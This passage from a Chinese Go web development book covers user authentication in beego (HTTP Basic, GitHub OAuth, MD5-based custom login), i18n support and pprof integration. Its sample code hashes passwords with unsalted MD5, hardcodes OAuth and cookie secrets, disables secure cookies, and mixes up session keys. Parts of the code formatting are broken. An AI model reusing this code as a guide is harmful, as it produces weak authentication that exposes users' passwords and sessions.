- 下一節: [使用者認證](#)



## 14.4 使用者認證

在開發 Web 應用過程中，使用者認證是開發者經常遇到的問題，使用者登入、註冊、登出等操作，而一般認證也分為三個方面的認證

- HTTP Basic 和 HTTP Digest 認證
- 第三方整合認證：QQ、微博、豆瓣、OPENID、google、github、facebook 和 twitter 等
- 自訂的使用者登入、註冊、登出，一般都是基於 session、cookie 認證

beego 目前沒有針對這三種方式進行任何形式的整合，但是可以充分的利用第三方開源函式庫來實現上面的三種方式的使用者認證，不過後續 beego 會對前面兩種認證逐步整合。

### HTTP Basic 和 HTTP Digest 認證

這兩個認證是一些應用採用的比較簡單的認證，目前已經有開源的第三方函式庫支援這兩個認證：

```
github.com/abbot/go-http-auth
```

下面程式碼示範瞭如何把這個函式庫引入 beego 中從而實現認證：

```
package controllers

import (
    "github.com/abbot/go-http-auth"
    "github.com/astaxie/beego"
)

func Secret(user, realm string) string {
    if user == "john" {
        // password is "hello"
        return "$1$d1PL2MqE$oQmn16q49SqdmhenQuNgs1"
    }
    return ""
}

type MainController struct {
    beego.Controller
}

func (this *MainController) Prepare() {
    a := auth.NewBasicAuthenticator("example.com", Secret)
    if username := a.CheckAuth(this.Ctx.Request); username == ""
    {
        a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}
```

上面程式碼利用了 beego 的 prepare 函式，在執行正常邏輯之前呼叫了認證函式，這樣就非常簡單的實現了 http auth，digest 的認證也是同樣的原理。

## oauth 和 oauth2 的認證



oauth 和 oauth2 是目前比較流行的兩種認證方式，還好第三方有一個函式庫實現了這個認證，但是是國外實現的，並沒有 QQ、微博之類別的國內應用認證整合：

```
github.com/bradrydzewski/go.auth
```

下面程式碼示範瞭如何把該函式庫引入 beego 中從而實現 oauth 的認證，這裡以 github 為例示範：

1. 新增兩條路由 ``Go

```
beego.RegisterController("/auth/login", &controllers.GithubController{})  
beego.RegisterController("/mainpage", &controllers.PageController{})
```

2. 然後我們處理 GithubController 登陸的頁面：

```
```Go
package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
)

const (
    githubClientKey = "a0864ea791ce7e7bd0df"
    githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca"
)

type GithubController struct {
    beego.Controller
}

func (this *GithubController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV"
)
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    githubHandler := auth.Github(githubClientKey, githubSecretKey)

    githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}
```

1. 處理登陸成功之後的頁面 ```Go package controllers

```
import ( "github.com/astaxie/beego" "github.com/bradrydzewski/go.auth" "net/http"
"net/url" )
```

```
type PageController struct { beego.Controller }
```

```
func (this *PageController) Get() { // set the auth parameters
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYl7rDddfJeV")
auth.Config.LoginSuccessRedirect = "/mainpage" auth.Config.CookieSecure =
false
```

```
    user, err := auth.GetUserCookie(this.Ctx.Request)

    //if no active user session then authorize user
    if err != nil || user.Id() == "" {
        http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.
Config.LoginRedirect, http.StatusSeeOther)
        return
    }

    //else, add the user to the URL and continue
    this.Ctx.Request.URL.User = url.User(user.Id())
    this.Data["pic"] = user.Picture()
    this.Data["id"] = user.Id()
    this.Data["name"] = user.Name()
    this.TplNames = "home.tpl"

}
```

整個的流程如下，首先開啓瀏覽器輸入地址：

```

```

圖 14.4 顯示帶有登入按鈕的首頁

然後點選連結出現如下介面：

```

```

圖 14.5 點選登入按鈕後顯示 github 的授權頁

然後點選 Authorize app 就出現如下介面：

```

```

圖 14.6 授權登入之後顯示的取得到的 github 資訊頁

## 自訂認證

自訂的認證一般都是和 session 結合驗證的，如下程式碼來源於一個基於 beego 的開源部落格：

```
```Go
```

```
//登陸處理
```

```
func (this *LoginController) Post() {
    this.TplNames = "login.tpl"
    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
    password := this.Ctx.Request.Form.Get("password")
    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)
    if userInfo.Password == newPass {
        var users models.User
        users.Last_logintime = now
        models.UpdateUserInfo(users)

        //登入成功設定 session

        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)

        this.Ctx.Redirect(302, "/")
    }
}
```

```
//註冊處理
```

```
func (this *RegController) Post() {
```

```
this.TplNames = "reg.tpl"
this.Ctx.Request.ParseForm()
username := this.Ctx.Request.Form.Get("username")
password := this.Ctx.Request.Form.Get("password")
usererr := checkUsername(username)
fmt.Println(usererr)
if usererr == false {
    this.Data["UsernameErr"] = "Username error, Please to ag
ain"
    return
}

passerr := checkPassword(password)
if passerr == false {
    this.Data["PasswordErr"] = "Password error, Please to ag
ain"
    return
}

md5Password := md5.New()
io.WriteString(md5Password, password)
buffer := bytes.NewBuffer(nil)
fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
newPass := buffer.String()

now := time.Now().Format("2006-01-02 15:04:05")

userInfo := models.GetUserInfo(username)

if userInfo.Username == "" {
    var users models.User
    users.Username = username
    users.Password = newPass
    users.Created = now
    users.Last_logintime = now
    models.AddUser(users)

    //登入成功設定 session

    sess := globalSessions.SessionStart(this.Ctx.ResponseWri
```

```
ter, this.Ctx.Request)
    sess.Set("uid", userInfo.Id)
    sess.Set("uname", userInfo.Username)
    this.Ctx.Redirect(302, "/")
} else {
    this.Data["UsernameErr"] = "User already exists"
}

}

func checkPassword(password string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok {
        return false
    }
    return true
}

func checkUsername(username string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok {
        return false
    }
    return true
}
```

有了使用者登陸和註冊之後，其他模組的地方可以增加如下這樣的使用者是否登陸的判斷：

```
func (this *AddBlogController) Prepare() {
    sess := globalSessions.SessionStart(this.Ctx.ResponseWriter,
    this.Ctx.Request)
    sess_uid := sess.Get("userid")
    sess_username := sess.Get("username")
    if sess_uid == nil {
        this.Ctx.Redirect(302, "/admin/login")
        return
    }
    this.Data["Username"] = sess_username
}
```

## links

- [目錄](#)
- [上一節: 表單及驗證支援](#)
- [下一節: 多語言支援](#)

## 14.5 多語言支援

我們在第十章介紹過國際化和本地化，開發了一個 `go-i18n` 函式庫，這小節我們將把該函式庫整合到 `beego` 框架裡面來，使得我們的框架支援國際化和本地化。

### i18n 整合

`beego` 中設定全域性變數如下：

```
Translation    i18n.IL
Lang           string //設定語言套件，zh、en
LangPath       string //設定語言套件所在位置
```

初始化多語言函式：

```
func InitLang(){
    beego.Translation:=i18n.NewLocale()
    beego.Translation.LoadPath(beego.LangPath)
    beego.Translation.SetLocale(beego.Lang)
}
```

爲了方便在範本中直接呼叫多語言套件，我們設計了三個函式來處理響應的多語言：

```
beegoTplFuncMap["Trans"] = i18n.I18nT
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate
beegoTplFuncMap["TransMoney"] = i18n.I18nMoney

func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
```



```
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Translate(s)
}

func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Time(s)
}

func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Money(s)
}
```

## 多語言開發使用

1. 設定語言以及語言套件所在位置，然後初始化 i18n 物件： ``Go

```
beego.Lang = "zh" beego.LangPath = "views/lang" beego.InitLang()
```

## 2. 設計多語言套件

上面講了如何初始化多語言套件，現在設計多語言套件，多語言套件是 json 檔案，如第十章介紹的一樣，我們需要把設計的檔案放在 LangPath 下面，例如 zh.json 或者 en.json

```
```json
```

```
# zh.json
```

```
{
  "zh": {
    "submit": "提交",
    "create": "建立"
  }
}
```

```
# en.json
```

```
{
  "en": {
    "submit": "Submit",
    "create": "Create"
  }
}
```

## 1. 使用語言套件

我們可以在 controller 中呼叫翻譯取得響應的翻譯語言，如下所示：

```
func (this *MainController) Get() {
    this.Data["create"] = beego.Translation.Translate("create")
    this.TplNames = "index.tpl"
}
```

我們也可以在範本中直接呼叫響應的翻譯函式：

```
//直接文字翻譯
{{.create | Trans}}

//時間翻譯
{{.time | TransDate}}

//貨幣翻譯
{{.money | TransMoney}}
```

## links

- [目錄](#)
- 上一節: [使用者認證](#)
- 下一節: [pprof 支援](#)

## 14.6 pprof 支援

Go 語言有一個非常棒的設計就是標準函式庫裡面帶有程式碼的效能監控工具，在兩個地方有套件：

```
net/http/pprof
```

```
runtime/pprof
```

其實 net/http/pprof 中只是使用 runtime/pprof 套件來進行封裝了一下，並在 http 埠上暴露出來

## beego 支援 pprof

目前 beego 框架新增了 pprof，該特性預設是不開啓的，如果你需要測試效能，檢視相應的執行 goroutine 之類別的資訊，其實 Go 的預設套件"net/http/pprof"已經具有該功能，如果按照 Go 預設的方式執行 Web，預設就可以使用，但是由於 beego 重新封裝了 ServHTTP 函式，預設的套件是無法開啓該功能的，所以需要對 beego 的內部改造支援 pprof。

- 首先在 beego.Run 函式中根據變數是否自動載入效能套件

```
if PprofOn {  
    BeeApp.RegisterController(`/debug/pprof`, &ProfController{})  
    BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{})  
}
```

- 設計 ProfController

```
package beego

import (
    "net/http/pprof"
)

type ProfController struct {
    Controller
}

func (this *ProfController) Get() {
    switch this.Ctx.Param[":pp"] {
    default:
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "":
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "cmdline":
        pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "profile":
        pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "symbol":
        pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
    this.Ctx.ResponseWriter.WriteHeader(200)
}
```

## 使用入門

透過上面的設計，你可以透過如下程式碼開啓 pprof：

```
beego.PprofOn = true
```


然後你就可以在瀏覽器中開啓如下 URL 就看到如下介面：

圖 14.7 系統當前 goroutine、heap、thread 資訊

點選 `goroutine` 我們可以看到很多詳細的資訊：



圖 14.8 顯示當前 `goroutine` 的詳細資訊

我們還可以透過命令列取得更多詳細的資訊

```
go tool pprof http://localhost:8080/debug/pprof/profile
```

這時候程式就會進入 30 秒的 `profile` 收集時間，在這段時間內拼命重新整理瀏覽器上的頁面，儘量讓 `cpu` 佔用效能產生資料。

```
(pprof) top10
```

```
Total: 3 samples
```

```
1 33.3% 33.3% 1 33.3% MHeap_AllocLocked
1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors
1 33.3% 100.0% 1 33.3% runtime.sigprocmask
0 0.0% 100.0% 1 33.3% MCentral_Grow
0 0.0% 100.0% 2 66.7% main.Compile
0 0.0% 100.0% 2 66.7% main.compile
0 0.0% 100.0% 2 66.7% main.run
0 0.0% 100.0% 1 33.3% makeslice1
0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP
0 0.0% 100.0% 2 66.7% net/http.(*conn).serve
```

```
(pprof)web
```



圖 14.9 展示的執行流程資訊

## links

- [目錄](#)
- 上一節: [多語言支援](#)
- 下一節: [小結](#)

## 14.7 小結

這一章主要闡述瞭如何基於 beego 框架進行擴充套件，這包括靜態檔案的支援，靜態檔案主要講述瞭如何利用 beego 進行快速的網站開發，利用 bootstrap 建立漂亮的站點；第二小結講解了如何在 beego 中整合 sessionManager，方便使用者在利用 beego 的時候快速的使用 session；第三小結介紹了表單和驗證，基於 Go 語言的 struct 的定義使得我們在開發 Web 的過程中從重複的工作中解放出來，而且加入了驗證之後可以儘量做到資料安全，第四小結介紹了使用者認證，使用者認證主要有三方面的需求，http basic 和 http digest 認證，第三方認證，自訂認證，透過程式碼示範瞭如何利用現有的第三方套件整合到 beego 應用中來實現這些認證；第五小節介紹了多語言的支援，beego 中集成了 go-i18n 這個多語言套件，使用者可以很方便的利用該函式庫開發多語言的 Web 應用；第六小節介紹瞭如何整合 Go 的 pprof 套件，pprof 套件是用於效能除錯的工具，透過對 beego 的改造之後集成了 pprof 套件，使得使用者可以利用 pprof 測試基於 beego 開發的應用，透過這六個小節的介紹我們擴展出來了一個比較強壯的 beego 框架，這個框架足以應付目前大多數的 Web 應用，使用者可以繼續發揮自己的想象力去擴充套件，我這裡只是簡單的介紹了我能想的到的幾個比較重要的擴充套件。

## links

- [目錄](#)
- 上一節: [pprof 支援](#)



## 附錄 A 參考資料

這本書的內容基本上是我學習 Go 過程以及以前從事 Web 開發過程中的一些經驗總結，裡面部分內容參考了很多站點的內容，感謝這些站點的內容讓我能夠總結出來這本書，參考資料如下：

1. [golang blog](#)
2. [Russ Cox blog](#)
3. [go book](#)
4. [golangtutorials](#)
5. 軒脈刃 de 刀光劍影
6. [Go 官網文件](#)
7. [Network programming with Go](#)
8. [setup-the-rails-application-for-internationalization](#)
9. [The Cross-Site Scripting \(XSS\) FAQ](#)
10. [Network programming with Go](#)
11. [RESTful](#)